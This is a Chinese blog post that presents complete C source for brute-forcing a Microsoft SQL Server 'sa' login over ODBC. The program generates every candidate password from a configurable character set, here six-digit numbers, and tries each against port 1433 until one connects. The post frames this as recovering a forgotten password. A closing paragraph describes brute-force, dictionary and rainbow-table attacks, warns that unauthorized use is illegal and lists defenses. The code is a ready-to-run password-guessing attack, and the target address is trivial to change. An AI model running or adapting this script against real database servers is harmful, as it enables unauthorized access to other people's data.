数据库密码暴力破解

当数据库密码忘记时,可使用下面的代码进行暴力破解:


#include "windows.h"
#include "stdio.h"
#include <sql.h>
#include <sqlext.h>
#include <sqltypes.h>

#define MAXBUFLEN   512
#define LOGIN_TIMEOUT 30

typedef struct _enum_pwd{
	char wordbook[128];
	char pwdstr[128];
	int booklen;
	int pwdlen;
	long utype;
#define PWD_NUMBER   1
#define PWD_CHAR_UPPER     2
#define PWD_CHAR_LOWER     4
#define PWD_SYMB0L   8
	int offset;
}ENUMPWD, * PENUMPWD;


PENUMPWD enum_pwd_init(long utype,int pwdlen)
{
	char temp[128];
	int i;
	PENUMPWD epwd = (PENUMPWD)malloc(sizeof(ENUMPWD));
	memset(epwd, 0 , sizeof(ENUMPWD));
	epwd->pwdlen = pwdlen;
	epwd->utype = utype;
	if(PWD_NUMBER & utype)
	{
		i = 0;
		for(char c = '0'; '9' >= c ; c++)
		{
			temp[i++] = c;
		}
		temp[i] = '\0';
		strcat_s(epwd->wordbook, temp);

	}
	
	if(PWD_CHAR_LOWER  & utype)
	{
		i = 0;
		for(char c = 'a'; 'z' >= c ; c++)
		{
			temp[i++] = c;
		}
		temp[i] = '\0';
		strcat_s(epwd->wordbook, temp);
	}

	if(PWD_CHAR_UPPER  & utype)
	{
		i = 0;
		for(char c = 'A'; 'Z' >= c ; c++)
		{
			temp[i++] = c;
		}
		temp[i] = '\0';
		strcat_s(epwd->wordbook, temp);
	}

	if(PWD_SYMB0L & utype)
	{
		i = 0;
		for(char c = '!'; '/' >= c ; c++)
		{
			temp[i++] = c;
		}
		temp[i] = '\0';
		strcat_s(epwd->wordbook, temp);

		i = 0;
		for(char c = ':'; '@' >= c ; c++)
		{
			temp[i++] = c;
		}
		temp[i] = '\0';
		strcat_s(epwd->wordbook, temp);

		i = 0;
		for(char c = '['; '`' >= c ; c++)
		{
			temp[i++] = c;
		}
		temp[i] = '\0';
		strcat_s(epwd->wordbook, temp);

		i = 0;
		for(char c = '{'; '~' >= c ; c++)
		{
			temp[i++] = c;
		}
		temp[i] = '\0';
		strcat_s(epwd->wordbook, temp);
	}

	epwd->booklen = strlen(epwd->wordbook);
	return epwd;
}

void sub_script_index(ENUMPWD * epwd, int index)
{
	int i=0;
	while(epwd->wordbook[i++] != epwd->pwdstr[index])
	{

	}

	epwd->pwdstr[index] = epwd->wordbook[i];
}

const char * enum_next_pwd(ENUMPWD * epwd)
{
	int i;
	char last = epwd->wordbook[epwd->booklen-1];
	if(epwd->pwdstr[0] == 0)
	{
		for(i=0; epwd->pwdlen >i; i++)
		{
			epwd->pwdstr[i] = epwd->wordbook[0];
		}
		epwd->offset = 1;
		return epwd->pwdstr;
	}

	int index = epwd->pwdlen;
	while(epwd->pwdstr[index-1] == last)
	{
		index--;
	}

	//如果已经轮询到最大的字符串,返回失败
	if(epwd->pwdstr == &epwd->pwdstr[index])
	{
		//密码轮询完毕
		return NULL;
	}
	else if(index == epwd->pwdlen)
	{
		//这种情况是因为最后一个字符还可以继续递增
		if(epwd->offset == epwd->booklen)
		{
			epwd->offset=0;
		}
		epwd->pwdstr[index-1] = epwd->wordbook[epwd->offset++];
	}
	else
	{
		//后面index这几位已经是最大字符,将其重新编排,并将index-1递增一位
		sub_script_index(epwd, index-1);
		while(epwd->pwdlen > index)
		{
			epwd->pwdstr[index++] = epwd->wordbook[0];
		}
		epwd->offset=1;
		
	}

	return epwd->pwdstr;
}

void enum_pwd_destory(ENUMPWD * epwd )
{
	free(epwd);
}


int main()
{
	const char *str;
	char ConnStrIn[MAXBUFLEN];
	char *text;
	SQLCHAR ConnStrOut[MAXBUFLEN];
	ENUMPWD * epwd = NULL;
	SQLHENV henv = NULL;
	SQLHDBC hdbc = NULL;
	SQLHSTMT hstmt = NULL;
	SQLRETURN result;
	SQLINTEGER cbsatid;


	epwd = enum_pwd_init(1,6);
	result = SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, &henv);//环境句柄
	result = SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION, (void*)SQL_OV_ODBC3, 0);//句柄属性
	result = SQLAllocHandle(SQL_HANDLE_DBC, henv, &hdbc);//
	result = SQLSetConnectAttr(hdbc, SQL_LOGIN_TIMEOUT, (void*) LOGIN_TIMEOUT, 0);

	while(str = enum_next_pwd(epwd))
	//while(k--)
	{
		wsprintf(ConnStrIn,"Driver={sql server};server=127.0.0.1,1433;database=master;uid=sa;pwd=%s;",str);
		result = SQLDriverConnect(hdbc, NULL,(SQLCHAR*) ConnStrIn, SQL_NTS, ConnStrOut, MAXBUFLEN, (SQLSMALLINT *)0, SQL_DRIVER_NOPROMPT);
		if(SQL_ERROR == result)
		{
			printf("密码:%s\t连接失败\n",str);
		}
		else
		{
			printf("密码:%s\t连接成功\n",str);
			break;
		}
	}

end:
	getchar();
	enum_pwd_destory(epwd);
	SQLDisconnect(hdbc);
	SQLFreeHandle(SQL_HANDLE_DBC, hdbc);
	SQLFreeHandle(SQL_HANDLE_ENV, henv);
	
	return 0;
}
  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SQL数据库密码破译工具通常是黑客或安全测试人员使用的一类软件或工具。这些工具的目的是通过尝试不同的用户名和密码组合,以破译数据库中存储的密码信息。 SQL数据库密码破译工具可以利用常见的密码猜测方法,如暴力攻击、字典攻击和彩虹表攻击等。在暴力攻击中,工具会自动尝试使用不同的用户名和密码组合,直到找到正确的密码。字典攻击则是使用预先准备好的密码列表进行尝试,这些列表包含了经常使用的或常见的密码。而彩虹表攻击则是基于密码散列的预先计算和存储,工具通过匹配散列值和密码来破译密码。 然而,需要注意的是,使用这类工具进行SQL数据库密码破译是非法的,并且违反了隐私和安全规定。这些工具极大地威胁了个人和组织的数据库安全,因此,只有在合法授权和合规的范围内使用这些工具才是允许的。 为了防止SQL数据库密码被破译,数据库管理员和开发人员需要采取一系列有效的安全措施。如使用强密码策略,定期更改密码,限制错误登录尝试次数,监控数据库访问和活动等。此外,使用加密和访问控制等高级安全功能可以提供额外的防护。最重要的是,保持软件和系统的及时更新,以修补安全漏洞,加强数据库的安全性。 一个安全的数据库密码是保护数据库免受未经授权访问和破坏的重要措施。因此,合法和合规的使用SQL数据库密码破译工具是维护数据库安全的一部分。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值